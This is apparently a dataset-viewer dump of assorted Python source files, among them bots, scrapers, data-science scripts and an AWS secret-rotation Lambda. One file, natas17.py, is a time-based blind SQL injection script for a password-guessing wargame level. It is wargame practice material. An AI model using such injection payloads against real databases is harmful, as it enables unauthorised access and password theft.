blob_id stringlengths 40 40 | language stringclasses 1
value | repo_name stringlengths 5 133 | path stringlengths 2 333 | src_encoding stringclasses 30
values | length_bytes int64 18 5.47M | score float64 2.52 5.81 | int_score int64 3 5 | detected_licenses listlengths 0 67 | license_type stringclasses 2
values | text stringlengths 12 5.47M | download_success bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
163ce13247c2b87cae524410b95ee0fde7f9cac5 | Python | soniaM7/Python_basics | /com/automation/readable_file.py | UTF-8 | 109 | 2.875 | 3 | [] | no_license | file=open("readable_file_use.py","r")
for employee in file.readlines():
print (employee)
file.close()
| true |
0cb0b79367595fe4fb9728008e39158a5a0dde06 | Python | AAlexIII/dr_telega | /dr_telega.py | UTF-8 | 30,942 | 2.890625 | 3 | [] | no_license | #!/usr/bin/python
# coding: utf-8
import pymongo
from bot import *
import pprint
from copy import copy
from PIL import Image, ImageDraw, ImageFont
good = {'1': {'klav': {'Отклонить вызов': '42', 'Принять вызов': '2'},
'photo': '1.png',
'text': 'Слыша где-то вдалеке раздражающую мелодию звон... | true |
0511afddffa72d8bcda2cfdd6133fcfa07f10a1b | Python | KaitaiD/Capstone-Project-1 | /utils.py | UTF-8 | 4,468 | 2.578125 | 3 | [] | no_license | {
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [],
"source": [
"import featuretools as ft\n",
"import numpy as np\n",
"import pandas as pd\n",
"from featuretools.primitives import (Day, Hour, Max, Mean, Min, Minute, Month,\n",
" ... | true |
da3a497910c14c61b48cd52dff1d810b6d8b6220 | Python | patrjon/PicyMcSortpy | /picymcsortpy/hash.py | UTF-8 | 782 | 3.171875 | 3 | [
"MIT"
] | permissive | import hashlib
class FileHash:
def __init__(self, BUF_SIZE=65536):
# BUF_SIZE is totally arbitrary, change for your app!
# BUF_SIZE = 65536 # lets read stuff in 64kb chunks!
self.BUF_SIZE = BUF_SIZE
def _reader(self, filename, hash_object):
with open(filename, 'rb') as f:
... | true |
da533ff5fa956d65b5703185d24ae119115ea9b2 | Python | freecraver/ccc2018 | /ccc_.py | UTF-8 | 867 | 2.59375 | 3 | [] | no_license | import pandas as pd
import numpy as np
import codecs
import os
filename = "input/lvl2-0.inp"
output_file = "output.txt"
images = []
line_cnt = 0
with codecs.open(filename, "r", "utf-8") as f:
temp = f.read().splitlines()
stats = temp[0].split(" ")
line_cnt += 1
for i in range(int(stats[2])):
i... | true |
c29ccf1700741d0c54c70ddf36e01c4ccfe8416e | Python | 3mcloud/aws-auth0-custom-resource | /src/rotation.py | UTF-8 | 6,617 | 2.890625 | 3 | [
"BSD-3-Clause"
] | permissive | """Rotation is used to rotate auth resource secrets"""
import logging
import json
import boto3
import botocore
from .utils import config, secret
logger = logging.getLogger('aws-auth0-cr')
# Setup the client
client = boto3.client('secretsmanager')
def lambda_handler(event, context):
"""Secrets Manager Rotation ... | true |
746b6f69449e227b2f5678317ac2f789ba71fd38 | Python | LevonGukasyanArsenovich/DEBERES-OFIMATICA | /.gitignore/Conversor.py | UTF-8 | 281 | 3.6875 | 4 | [] | no_license | # coding: UTF-8
from decimal import Decimal
print "Ahora haremos conversiones"
cm = input ("Introduce la cantidad de CM:")
print " DISTANCIA EN CM:",cm,"Centimetros"
print "Centimetros:",cm
print "Metros :",Decimal(cm)/1000
print "Kilometros :",Decimal(cm)/1000/1000
| true |
27e25c63bf584ad60a9ed7baddaede780100d50e | Python | Chamsss92/LAB3 | /LAB3_Chamss-eddine_BOUTAJAR.py | UTF-8 | 9,769 | 2.703125 | 3 | [] | no_license | import time
import streamlit as st
# importing numpy and pandas for to work with sample data.
import numpy as np
import pandas as pd
import datetime
import matplotlib.pyplot as plt
import seaborn as sns
import plotly_express as px
import streamlit.components.v1 as components
from functools import wraps
# import time
d... | true |
79d21e4a002476b9fac0a76c9f801adbd1c736f4 | Python | thetime50/Tkinter-practice | /08 2018-9-10/main1.py | UTF-8 | 900 | 2.921875 | 3 | [
"MIT"
] | permissive | #-*- conding: utf-8 -*-
import queue
import threading
import time
plock = threading.Lock()
def secure_print(*args, sep=' ', end='\n', file=None):
global plock
plock.acquire()
eval('print('+str(args)[1:-1]+',sep=sep,end=end,file=file)')
# print(eval(str(args)[1:-1]),sep=sep,end=end,file=file)
plock.release()
class... | true |
7b8e6e363fa310f507c0a46ba0336cc408300677 | Python | hanavimagustine789/the-List_Spinner | /Exam2.py | UTF-8 | 1,016 | 4.34375 | 4 | [] | no_license | # Exam _ Soal No 2
#
# Problem 2 - List Spinner (30 Points)
# Create a return function with 1 argument that can rotate the list of numbers (Round 1X counter-clockwise) as described below.
# Initial List
# [[1, 2, 3, 4],
# [5, 6, 7, 8],
# [9, 10, 11, 12],
# [13, 14, 15, 16]]
# Function
# Output:
# [[... | true |
e95ea59d728f87015b20dfde901e796a2e8629a7 | Python | morenice/til | /language/python/sort_functools.py | UTF-8 | 765 | 3.703125 | 4 | [
"Apache-2.0"
] | permissive | import functools
# Case 1
#
def reverse_numeric(x, y):
return x - y
print('sort by functools.cmp_to_key ...')
print(sorted([5, 2, 4, 1, 3], key=functools.cmp_to_key(reverse_numeric)))
print('')
# Case 2
#
sample_data = [
{
'name': 'aaa',
'age': 12,
'score': {
'math': 90
... | true |
6c5deed0f979914a4e8884d601bbb9e056e5bc22 | Python | hackathon-cyinsurtech/Ali-Zavra | /ModelScripts/Model.py | UTF-8 | 965 | 2.703125 | 3 | [] | no_license | from sklearn.metrics import f1_score
import sklearn.metrics as sk_metrics
from sklearn.ensemble import GradientBoostingClassifier
class Model:
def predict(self,X_train,X_test,Y_train):
clf = GradientBoostingClassifier()
clf.fit(X_train, Y_train)
prediction = clf.predict(X_test)
re... | true |
fce86279d58f92bae42565bd9f00faf20983609d | Python | inhabitantNewCity/ScriptingLang | /unit_test.py | UTF-8 | 5,045 | 3.25 | 3 | [] | no_license | import unittest
from polynomial import Polynomial
class TestPolynomial(unittest.TestCase):
def test_init_correct_args(self):
p = Polynomial([1, -1])
self.assertEqual(p.coeffs, [1, -1])
self.assertEqual(p.degree, 1)
def test_init_infs_args(self):
p = Polynomial([float("inf"), ... | true |
86c377c3bb8b31855e05731224ebcc936d22af9f | Python | sarkarshuvojit/wirelessmouse-service | /app.py | UTF-8 | 800 | 2.84375 | 3 | [] | no_license | from flask import Flask
from net import get_ip_address
from flask import request
import pyautogui
app = Flask(__name__)
print(f"Server Started at http://{get_ip_address('wlp6s0')}:8000")
@app.route('/')
def hello_world():
return 'Hello, World!'
@app.route('/move')
def move_cursor():
# Reversing the value as ... | true |
6dd430a320c1eb0a74bc32225bb681a30229036c | Python | Yustyn/python8-telegram-bot | /weather_bot.py | UTF-8 | 7,315 | 2.828125 | 3 | [] | no_license | import telebot
import config
from bs4 import BeautifulSoup
import requests
from pprint import pprint
request = requests.get('https://ua.sinoptik.ua/погода-рівне')
html = BeautifulSoup(request.content, 'html.parser')
bot = telebot.TeleBot(config.TOKEN)
@bot.message_handler(commands=['start'])
def buttons(message):
... | true |
f5eca27e3bf19162b9365317218513f657e9f43c | Python | Neel-leeN/Homework-CS-HW | /Models and Simulations/SIR Infectious Disease.py | UTF-8 | 817 | 3.140625 | 3 | [] | no_license | from matplotlib import pyplot as p
susceptible = [0.99]
infected = [0.01]
recovered = [0]
dead = [0]
beta = 0.4
gamma = 0.2
deathr = 0.02
steps = 100
for i in range(steps):
new_infected = beta * infected[i] * susceptible[i]
new_dead = deathr * infected[i]
new_recovered = gamma * (infected[i]-new_dead)
susceptibl... | true |
f0ca1fcd4208b22a2a9b5175f262fd549e69159e | Python | Desting96/Python | /Proyects/Palindromo.py | UTF-8 | 2,136 | 4.03125 | 4 | [
"MIT"
] | permissive | def palindromo(data):
atras, palin= -1, True
for i in data:
if i == data[atras]:
atras += -1
else:
palin = False
break
return palin
def centuryFromYear(year):
cont, century = 1, 0
while cont <= year:
cont = cont +100
century +=1
... | true |
1615cb0040969214c4a72d74c237ba6c3e17215e | Python | joao-ufjf/caed | /caed-08-2020/src/pages/info.py | UTF-8 | 3,097 | 3.40625 | 3 | [] | no_license | import streamlit as st
# Função para fazer download de pd.DataFrame como uma Sheet de um xlsx
def write():
##### Título
st.title("Informações")
st.header("Começando")
st.subheader("Menu Lateral")
st.write("""
O menu lateral traz a navegação entre esta página e o
**Gerador de Ps... | true |
aca97f406e5e4bd1333ab09b4d01a83b91932a3b | Python | ShubhC/file-search | /path_store.py | UTF-8 | 480 | 2.6875 | 3 | [] | no_license | from pathlib import Path
from utils import path_utils
from typing import List
class PathStore:
def __init__(self) -> None:
self._all_path_as_list = path_utils.get_all_path_on_device()
@property
def all_path_as_list(self) -> List[Path]:
return self._all_path_as_list
def update(self, a... | true |
bc4b1085865ad44bba29c04332405fb99ccf094d | Python | developerbart/Natas-scripts | /natas17.py | UTF-8 | 1,891 | 3.34375 | 3 | [] | no_license | import requests
import os
# time based blind SQL injection
def get_length():
# guess the length of the password.
counter = 1
password_found = False
while not password_found:
length_test = requests.get('http://natas17.natas.labs.overthewire.org/?username=natas18" and if((select length(password... | true |
00d57241a8665d2456a4331772a8891120c963ce | Python | Veganistan/veganistan_scraper | /geocode.py | UTF-8 | 2,293 | 3.09375 | 3 | [
"MIT"
] | permissive | # coding: utf-8
"""
Usage:: python geocode.py path/to/file.json
The file to geocode should in this version be the one created by
``scraper.py``
"""
import sys
import json
import requests
from scraper import serialize_and_save
from settings import GOOGLE_MAPS_BASE_URI, GOOGLE_MAPS_API_KEY, USER_IP
def build_gmaps_u... | true |
fd92afd484678e904c05aaccea42b86ec46fe9c8 | Python | giang12/hpa | /hpa_tests_stanford_parser.py | UTF-8 | 3,922 | 2.609375 | 3 | [] | no_license | #!/usr/bin/python
import os
import nltk
import shlex
import atexit
from subprocess import Popen, PIPE
from os.path import join
import logging
import re
from nltk import ParentedTree
STANFORD_DIR = "/home/carneyadmin/Desktop/stanford-parser-2012-07-09"
STANFORD_JAR_FILE = "stanford-parser.jar"
STANFORD_GRAMMAR_PAT... | true |
ad5d60c0d76b3b7e392769f3c9b956135bc6ed9c | Python | maxleirbag/automacao-web | /AutomacaoWeb_Webdrive_Selenium.py | UTF-8 | 2,518 | 3.34375 | 3 | [] | no_license | #!/usr/bin/env python
# coding: utf-8
#Notas:
#- Programa feito no Jupuyter Notebook.
#- Para funcionar corretamente, recomenda-se que o Selenium WebDriver esteja na mesma página do programa em Python.
# ## Solução final
# 1) Pesquisar as cotações das moedas e ouro
# 2) Localizar a informação no site
# 3) Armazenar... | true |
87380e6f276978d61f6448cc8d520ea06a47cd18 | Python | MrEngineerKenan/Pyhton_GlobalIOHub_-devlerim | /Project.py | UTF-8 | 3,664 | 3.515625 | 4 | [] | no_license |
#ilk başta tüm fonksiyonlarımı tek class altında toplamak istiyorum.
class new_project:
dersKayit={}
dersSayisi=0
dersOrtalama=0
dersNotlari={}
count=3
def __init__(self,name="",surname=""):
self.name=name;
self.surname=surname
def adDegistir(self,yeniAd,... | true |
dc5c86797e254cb0dc5747856d0f3abb2758946e | Python | orenlivne/euler | /euler/problem060.py | UTF-8 | 5,317 | 3.59375 | 4 | [] | no_license | '''
============================================================
http://projecteuler.net/problem=60
The primes 3, 7, 109, and 673, are quite remarkable. By taking any two primes and concatenating them in any order the result will always be prime. For example, taking 7 and 109, both 7109 and 1097 are prime. The sum of ... | true |
5de34efe3dd44ae6858a4ea9c61f9f9902ef18b4 | Python | lucas404x/estudos_machine_learning | /aprendizagem_supervisionada/redes_neurais/base_censo_keras.py | UTF-8 | 1,478 | 2.703125 | 3 | [] | no_license | from keras.models import Sequential
from keras.layers import Dense
from sklearn.preprocessing import OneHotEncoder, StandardScaler, LabelEncoder
from sklearn.compose import ColumnTransformer
from sklearn.metrics import accuracy_score, confusion_matrix
from sklearn.model_selection import train_test_split
import pandas a... | true |
3d435658add69bd4138c55cf6fdc5a0639a33573 | Python | v3nd3774/language_pronounciation_server | /backend/sql_classes.py | UTF-8 | 663 | 3.03125 | 3 | [] | no_license | '''
Author: Josue Caraballo
Description: Houses SQLAlchemy class for connecting to MySQL instance
'''
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String
Base = declarative_base()
class Sample(Base):
__tablename__ = "samples"
sample_no = Column(Integer, primar... | true |
b351b3fede6373a08a5972734637e6fdbbe2a772 | Python | SeelamVenkataKiran/PythonTests | /Generic2/Test5_pr1.0.py | UTF-8 | 854 | 3.546875 | 4 | [] | no_license |
list2 = [ ('Cat', 'Bat'), ('Sat', 'Cat'), ('Cat', 'Bat'),
('Cat', 'Bat', 'Sat'), [1, 2], [1, 2, 3], [1, 2] ]
for i in list2:
print(i)
list3 = []
for i in list2:
list3.extend(i)
list3
def testf(x = []):
my = set()
for i in x:
if type(i) == str:
my.add((i,x.count(i)))
... | true |
f4900bcbde87c27b2093e19053a6e18a31e01222 | Python | goldenhairs/Base_Algorithm | /data_structure/单项循环链表.py | UTF-8 | 2,453 | 4.0625 | 4 | [] | no_license | # -*- coding:UTF-8 -*-
# 单链表
class Node():
'''创建单链表节点类'''
def __init__(self,data,next=None):
self.data = data
self.next = None
class SinCycLinkedList():
'''定义单项循环链表'''
def __init__(self):
# 初始化链表指针
self.__head = None
def is_empty(self):
'''判断链表是否为空'''
... | true |
7cd78f8bae8287673086d81eeacd3c43ff875814 | Python | axlrosen/misc | /maintenance/write_pos.py | UTF-8 | 651 | 2.859375 | 3 | [] | no_license | import re
import sys
from nltk.corpus import brown
import nltk
NONASCII = re.compile("[^a-z]")
def clean(w):
return NONASCII.sub('', w.lower())
def t():
fd = nltk.FreqDist(clean(word) for word in brown.words())
cfd = nltk.ConditionalFreqDist((clean(word), pos) for (word, pos) in brown.tagged_words(tagse... | true |
fdff38523d4e1a99078bb70e830932a989de935a | Python | mrobot7569/BlueDucky | /Interpreter.py | UTF-8 | 1,393 | 2.609375 | 3 | [
"MIT"
] | permissive |
def writeOpenPowershell():
string = "GUI r\n" \
"DELAY 50\n" \
"STRING powershell\n" \
"ENTER\n" \
"DELAY 300"
return string
def writeOpenCMD():
string = "GUI r\n" \
"DELAY 50\n" \
"STRING cmd\n" \
"ENTER\n" \
... | true |
7a944be23d7c7dcacc79238f423007568f304b93 | Python | DiscreteObject/adventofcode2020 | /day12.py | UTF-8 | 9,067 | 4.4375 | 4 | [] | no_license | """
The navigation instructions (your puzzle input) consists of a sequence of single-character actions paired with integer input values. After staring at them for a few minutes, you work out what they probably mean:
Action N means to move north by the given value.
Action S means to move south by the given valu... | true |
4bc33c4c43814c89fe9b992be4d6a87bc7c52c4d | Python | toastding/collections | /csv_practice/main.py | UTF-8 | 1,497 | 3.546875 | 4 | [] | no_license | # with open("weather_data.csv") as file:
# contents = file.readlines()
# print(contents[1])
# import csv
#
# with open("weather_data.csv") as data_file:
# data = csv.reader(data_file)
# temperature = []
# for row in data:
# if row[1] != "temp":
# temperature.append(int(row[1]))
... | true |
823a774d4898f25c37946ef427ac445fdc392a76 | Python | daniel-reich/ubiquitous-fiesta | /23htQEtZobC8cfwcm_22.py | UTF-8 | 131 | 2.84375 | 3 | [] | no_license |
def canConcatenate(lst, target):
r = []
for l in lst:
r += l
return all(r.count(e) == target.count(e) for e in target)
| true |
333e45e2d2cf75c8260af7b218a19a5269f08eaa | Python | gistable/gistable | /all-gists/404780e419c49a5b62a8/snippet.py | UTF-8 | 5,155 | 3.359375 | 3 | [
"MIT"
] | permissive | import requests
from bs4 import BeautifulSoup
import time
# We've now imported the two packages that will do the heavy lifting
# for us, reqeusts and BeautifulSoup
# This is the URL that lists the current inmates
# Should this URL go away, and archive is available at
# http://perma.cc/2HZR-N38X
url_to_scrape = 'http:... | true |
70109c98a8a2fd3708266965ebaadaf537e8585d | Python | YoungCC/McCabe-Cyclomatic-Complexity | /parser/cases/5_Mytest_if_while_for_try.py | UTF-8 | 105 | 2.96875 | 3 | [] | no_license | if 1:
print "if"
while 1:
print "while"
for x in range(3):
pass
try:
print ""
except:
pass
| true |
277c4aa1399ddc1ef28036cac0b1d991d37ca9f9 | Python | iorilan/python-samples | /Internet/Sockets/Email/popmail.py | UTF-8 | 1,336 | 2.578125 | 3 | [] | no_license |
import poplib, getpass, sys, mailconfig,ssl
mailserver = mailconfig.popservername
mailuser = mailconfig.popusername
mailpasswd = getpass.getpass('Password for %s?' % mailserver)
print('Connecting...')
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_... | true |
b53046ef42642e6840025ae4cfd2c771a1def6a9 | Python | nandansn/pythonlab | /problems/patternproblems/pattern14.py | UTF-8 | 161 | 3.34375 | 3 | [] | no_license | alphabets=''
for i in range(ord('A'),ord('E')+1):
for k in range(ord('A'),i+1):
alphabets = alphabets + chr(k)
print(alphabets)
alphabets='' | true |
6b01eb42ac833990cfcee74a47b4a45ffdb1029f | Python | reepoi/ahj-registry | /server/ahj_app/usf.py | UTF-8 | 25,306 | 2.5625 | 3 | [
"MIT"
] | permissive | """
This is a script of utility functions for recreating an AHJ Registry database.
The following are the file locations and structure that these functions expect the
data for upload to be in, and the general order that these functions should be called.
Expected File Tree
::
~/AHJRegistryData/:
... | true |
e04d5a293dbceaa881a6c1ca2499b23f093c21b3 | Python | Artagok/HackUPC2017-HemisBot | /backend/emergenciesbot/emergencies.py | UTF-8 | 5,030 | 2.75 | 3 | [
"Unlicense"
] | permissive | # import needed libs:
import json
import requests
import time
import urllib
import csv
# import DB_SQLite:
from db_sqlite import DB_SQLite
# access SQLite methods through 'db':
db = DB_SQLite()
# personal pollution bot TOKEN. DELETE IT WHEN MAKING THE CODE PUBLIC:
TOKEN = "407413557:AAHyeeDx33vlMvt60A0Ob3HnsipSUYmgz... | true |
fe1f30abfd6d86046bb6a83e93cd576232c32a8d | Python | dohmatob/gambling | /sequence_form.py | UTF-8 | 14,317 | 2.765625 | 3 | [] | no_license | import re
import networkx as nx
import matplotlib.pyplot as plt
import numpy as np
def _matrix2texstr(A, name="A", exclude=None):
if exclude is None:
exclude = []
vals = dict((val, []) for val in np.unique(A))
for val in exclude:
del vals[val]
for v, u in vals.items():
for i in... | true |
b0b2d09c383a9d1354caf54eedc9d0df4a0e9d6a | Python | akashbaran/PyTest | /github/q21.py | UTF-8 | 1,077 | 4.0625 | 4 | [] | no_license | # -*- coding: utf-8 -*-
"""
Created on Wed May 30 15:34:34 2018
@author: eakabar
A robot moves in a plane starting from the original point (0,0).
The robot can move toward UP, DOWN, LEFT and RIGHT with a given steps.
The trace of robot movement is shown as the following:
UP 5
DOWN 3
LEFT 3
RIGHT 2
The numbers after t... | true |
25eb552ebdd4f5d72686c735173c609e553b95ce | Python | aplombhuang/python | /polymorphism exampleD.py | UTF-8 | 490 | 3.796875 | 4 | [] | no_license | class HourlyEmployee():
def __init__(self, rate):
self.rate = rate
def printSalaryPerMonth(self):
print(str(self.rate*20*8))
class SalariedEmployee():
def __init__(self, rate):
self.rate = rate
def printSalaryPerMonth(self):
print(str(self.rate/12))
de... | true |
9a1e8eb78574d14bd52eb8fa11b9da69346faccf | Python | daguniko/nlp100 | /week5/py/sample2.py | UTF-8 | 2,289 | 2.5625 | 3 | [] | no_license | #! /Users/sudo/.virtualenvs/hoge/bin/python2
# -*-coding:utf-8-*-
#(47) (42)から(46)までの処理を1つのプログラムに統合し,処理内容をコマンドライン引数でOn/Offできるようにせよ.コマンドライン引数の処理には,optparseモジュールを用い,オプションには適当な名前(例えば(42)は--verbなど)とドキュメント(-hを引数にすることで表示される)を書け.
# オプションを作る
import argparse
parser = argparse.ArgumentParser()
#スイッチ
parser.add_argument("-v", ... | true |
57f0be27c45f5c65da6d0604d822d876e060cfd8 | Python | junyi1997/TQC_Python | /New code/class7/PYA701.py | UTF-8 | 274 | 3.390625 | 3 | [] | no_license | # -*- coding: utf-8 -*-
num=[]
while True:
num1=int(input())
if num1 == -9999:
break
num.append(num1)
numn=tuple(num)
maxn=max(num)
minn=min(num)
sumn=sum(num)
print(numn)
print("Length:",len(num))
print("Max:",maxn)
print("Min:",minn)
print("Sum:",sumn) | true |
19349c2e619258a3f4d79793c2004bbc891e1bc1 | Python | jawhelan/PyCharm | /PyLearn/Exercise Files/07 Loops/for-working.py | UTF-8 | 516 | 3.09375 | 3 | [] | no_license | #!/usr/bin/python3
# for.py by Bill Weinman [http://bw.org/]
# This is an exercise file from Python 3 Essential Training on lynda.com
# Copyright 2010 The BearHeart Group, LLC
def main():
fh = open('lines.txt')
for line in fh.readlines(): # the for works with iterator. here readlines is an itorator for the fil... | true |
95571655a8a6421113eb1a084d64f0abfb593a6b | Python | kirshappy/modNum | /ExploreWord2Vec.py | UTF-8 | 5,245 | 2.53125 | 3 | [] | no_license | """Playing with word2vec model"""
import sys
import csv
#%%
from gensim.models import Word2Vec
year=sys.argv[1]
model = Word2Vec.load(f"venv/{year}_sents.model")
print(model.wv.most_similar("agricultural", topn=5))
#print(model.wv['trade'])
#vocab1=list(model.wv.vocab)
#[vocab1] avoid comma between each characters
#... | true |
df7d5f153e450e47ff56804581f3cfe0ce27d1ab | Python | Sathya-Narayanan-Manivannan/IMDB-Social-Network-Analytics | /Bipartite_Conversion.py | UTF-8 | 3,321 | 3.125 | 3 | [] | no_license | '''This script works better in python 2.7 version'''
import pandas as pd
dataframe_one = pd.DataFrame.from_csv('Movies_Genres.csv',index_col=False)
genres_lst= sorted(list(pd.concat([dataframe_one['Genre1'], dataframe_one['Genre2']]).unique()))
movie_lst= list(dataframe_one['Title'])
new_df=pd.DataFrame(index=movi... | true |
342ea3d2d6765387240d903ac2b32af98fb2d261 | Python | xjwangliang/learning-python | /src/python/decorator/fun04.py | UTF-8 | 1,132 | 3.4375 | 3 | [] | no_license | #encoding=utf-8
import time
import functools
def timeit(func):
@functools.wraps(func)
def wrapper():
print "Called in function ",func.__name__
start = time.clock()
func()
end =time.clock()
print "used ", end - start," in function ",func.__name__
return wrap... | true |
78b58c416254c1d6cf68bd178bccec8c40cf5536 | Python | krishnakalyan3/LearnPython | /decorators/eg3.py | UTF-8 | 242 | 2.953125 | 3 | [] | no_license | #!/usr/bin/env python
def count(wrapped):
def inner(*args,**kwargs):
inner.counter += 1
return wrapped(*args, **kwargs)
inner.counter = 0
return inner
@count
def my_func():
pass
my_func()
my_func()
my_func()
print my_func.counter
| true |
521dbf49e07f42d81e1a2f03693b1e9a336f0e6f | Python | NiallMcGinness/svg-gen | /by64/build.py | UTF-8 | 728 | 2.609375 | 3 | [] | no_license | import os
import time
print("compling test and train svg generators")
os.system("clang++ --std=c++11 src/gen_train.cpp -o train")
os.system("clang++ --std=c++11 src/gen_test.cpp -o test")
print("started building train svgs and csv label")
os.system("./train")
print("finished building train svgs and csv label")
... | true |
f154f49a57a3d0e738584d37579f3e62bd6ab62f | Python | Arwen0905/Python_Test | /TQC_考題練習/b0529_TQC證照_708.py | UTF-8 | 1,677 | 3.921875 | 4 | [
"MIT"
] | permissive | # 1. 題目說明:
# 請開啟PYD708.py檔案,依下列題意進行作答,進行兩詞典合併,
# 使輸出值符合題意要求。作答完成請另存新檔為PYA708.py再進行評分。
# 2. 設計說明:
# 請撰寫一程式,自行輸入兩個詞典(以輸入鍵值"end"作為輸入結束點,
# 詞典中將不包含鍵值"end"),將此兩詞典合併,
# 並根據key值字母由小到大排序輸出,如有重複key值,
# 後輸入的key值將覆蓋前一key值。
# 3. 輸入輸出:
# 輸入說明
# 輸入兩個詞典,直至end結束輸入
# 輸出說明
# 合併兩詞典,並根據key值字母由小到大排序輸出,如有重複key值,
# 後輸入的key值將覆蓋前一key值
# 輸入... | true |
1d3d4c42b26a252003ac922734b6c78150ddd069 | Python | vitalk/oomnitza-connector | /connector_gui/models/config.py | UTF-8 | 4,150 | 2.75 | 3 | [] | no_license | import copy
import json
from lib.config import format_sections_for_ini, SpecialConfigParser
from utils.relative_path import relative_app_path
class ConfigModel(object):
def __init__(self, args):
self.config = self.parse_config(args)
self.config_copy = copy.deepcopy(self.config)
self.obser... | true |
0f07186a5ee587558ef013bc4e96099d0c8e5bc1 | Python | kangshitao/SR-GNN-annotated | /SR-GNN/pytorch_code/utils.py | UTF-8 | 7,341 | 3.296875 | 3 | [] | no_license | #!/usr/bin/env python36
# -*- coding: utf-8 -*-
"""
Created on July, 2018
@author: Tangrizzly
"""
import networkx as nx
import numpy as np
def build_graph(train_data):
graph = nx.DiGraph() # 定义有向图
for seq in train_data: # 遍历session
for i in range(len(seq) - 1): # 遍历item
if graph.get_ed... | true |
3778f4ad79e2660288b9f5ebdb4b63c87f3e9352 | Python | Rohit-7/kelkere-status-check | /mail/generate_html.py | UTF-8 | 2,706 | 2.546875 | 3 | [] | no_license | import requests
import json
from requests.auth import HTTPBasicAuth
json_filepath = './Server Data.json'
servers = None
with open(json_filepath,'r') as f:
servers = json.load(f)
for comp in servers:
for env in servers[comp]:
url = servers[comp][env]
url = url.strip()
try... | true |
8d2fe1fa4f6e8bfe6ba50e1dddd383921d9a901f | Python | Looble/Blackjack-2.0 | /cards.py | UTF-8 | 4,088 | 3.96875 | 4 | [] | no_license | from random import shuffle, randint
class card:
def __init__(self, number, suit="cut"):
"""
When we initially create a card, we pass the 'number' of the card which
corresponds to it's value e.g. 1 = A, 2 = 2, 11 = J etc.
We also set the card's value which will be used to return the... | true |
ff6eea42f424df559cd46e6382b4285b62066330 | Python | ashishdukare/Codebreaker | /codeBreaker.py | UTF-8 | 1,152 | 3.796875 | 4 | [] | no_license | # GET GUESS
def get_guess():
return list(str(input("What is your guess?\n")))
# GENERATE COMPUTER CODE 123
import random
def generate_code():
digits = [str(num) for num in range(10)]
#subsitute for above line
#list = []
#for item in range(10):
#list.append(item)
#print(list)
#Shu... | true |
c9fdb77d33588b979081e1296220cb95fc1c4f6f | Python | JoyceLA/Software-Testing-and-Maintenance. | /Tenis-Game.py | UTF-8 | 2,966 | 3.171875 | 3 | [] | no_license | # -*- coding: utf8 -*-
"""
SIMULANDO UN JUEGO DE TENNIS
>>> ingresarTotalJuegos(2)
>>> mostrar_score()
'[0-0]'
>>> anotar(1,0)
''
>>> mostrar_score()
'[15-0]'
>>> anotar(0,1)
''
>>> mostrar_score()
'[15-15]'
>>> anotar(1,0)
''
>>> mostrar_score()
'[30-15]'
>>> anotar(0,1)
''
>>> mostrar_score()
'... | true |
b6b32703f42133e18bb79cdf8a96d27109f52b87 | Python | tien2002/baikiemtra | /Bai2.py | UTF-8 | 526 | 3.4375 | 3 | [] | no_license | A = [1, 1, 2, 3, 5, 8, 13, 21, 34]
B = [1, 3, 5, 4, 7, 88, 66, 59, 40, 54]
print("list A:", A)
print("list B:", B)
C = list(set(A) & set(B))
# set là để chuyển list a và b về dạng tập hợp sau đó so sánh 2 set bằng &
print("các phần tử trùng nhau trong 2 mảng là", C)
# E=[ num for num in A if A !=C]
# D=set (A) ^ se... | true |
2357335946b7c01c51a83c980f6b252e9dbe90bd | Python | jobliz/i-can-has-code | /python/eulers/old/007.py | UTF-8 | 258 | 3.59375 | 4 | [] | no_license | def isprime(n):
for x in range(2, int(n**0.5)+1):
if n % x == 0:
return False
return True
def nextprime(n):
x = n
while True:
x += 1
if isprime(x):
return x
c = 1
num = 2
while c != 10001:
c += 1
num = nextprime(num)
print c
print num
| true |
f937978e1feecdcd2a6b703a1e34b917b0cd67e1 | Python | timmy0519/Stock_Prediction | /gen_trades_file.py | UTF-8 | 3,831 | 2.625 | 3 | [] | no_license | #/usr/bin/python3
import sys
import os
import pathlib
import glob
def firstTradingDay(tradingPeriod):
firstDayOfMonth = {
"2001-10" : "-02",
"2001-11" : "-01",
"2001-12" : "-04",
"2006-10" : "-02",
"2006-11" : "-01",
"2006-12" : "-01",
"2011-10" : "-03",
"2011-11" : "-01",
"2011-12" : "-01"
}
y,m =... | true |
0fa79b17df543e0776d0380113e515f83e2a1e85 | Python | tawilsara/SAP | /host/map.py | UTF-8 | 2,267 | 3.328125 | 3 | [] | no_license | """
Mapper
Probabilistic map of the forest
"""
import numpy
import matplotlib.pyplot as mpl
X_MAX = 96 # inches
Y_MAX = 96 # inches
DIST_MIN = 2
DIST_MAX = 100
ERROR = 0.2 # rad
class Map:
## initialize map
def __init__(self):
self.map = numpy.zeros([X_MAX,Y_MAX])
## Appends new snapshot t... | true |
aaa474f990cacad8286110aa9a0110d190800806 | Python | xudaaaaan/Leetcode | /dan/Problems/Medium/Array/200. Number of Islands/solution.py | UTF-8 | 1,761 | 3.078125 | 3 | [] | no_license | class Solution:
def numIslands1(self, grid):
"""
:type grid: List[List[str]]
:rtype: int
"""
if not grid or not grid[0]:
return 0
r, c, dic, res = len(grid), len(grid[0]), {}, 0
def inBounds(i, j):
return 0 <= i and i < r and 0... | true |
d4b535ea1937dbf8d197b0b30bfa96cb1c38b02b | Python | pcjeff/boxcar_resarch | /split_set.py | UTF-8 | 783 | 2.8125 | 3 | [] | no_license | import sys
import random
def readAllImglist(filename, dataset=[]):
with open(filename, 'r') as f:
for line in f:
img_name = line.strip()
dataset.append(img_name)
def write2File(dataset, Trainfile='train.txt', Testfile='test.txt'):
with open(Trainfile, 'a+') as Trainf, open(Test... | true |
eded51cd6946051289200e94d2c7fa4c02b368fb | Python | yangtao-hub/DeepClinicalGlucosePrediction | /postprocessing/results_analysis.py | UTF-8 | 24,359 | 2.703125 | 3 | [] | no_license | import misc.constants as cs
import os
from misc.constants import path
from misc.utils import print_latex
import pandas as pd
from postprocessing.results import ResultsSubject
import matplotlib.pyplot as plt
from scipy.stats import kde
import numpy as np
import misc.datasets
from postprocessing.metrics.cg_ega import CG_... | true |
